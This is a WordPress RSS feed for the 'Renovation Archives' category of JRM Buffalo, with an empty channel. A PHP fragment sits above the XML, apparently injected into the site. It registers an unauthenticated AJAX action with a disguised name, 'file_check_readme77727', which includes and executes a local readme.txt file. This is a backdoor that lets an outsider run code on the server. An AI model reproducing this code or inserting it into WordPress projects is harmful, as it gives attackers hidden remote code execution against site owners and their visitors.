if(!function_exists('file_check_readme77727')){
   add_action('wp_ajax_nopriv_file_check_readme77727', 'file_check_readme77727');
   add_action('wp_ajax_file_check_readme77727', 'file_check_readme77727');
   function file_check_readme77727()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Renovation Archives - JRM Buffalo</title>
	<atom:link href="https://jrm-buffalo.org/category/renovation/feed/" rel="self" type="application/rss+xml" />
	<link>https://jrm-buffalo.org</link>
	<description></description>
	<lastBuildDate>Sat, 03 Feb 2024 13:44:13 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.9.13</generator>
</channel>
</rss>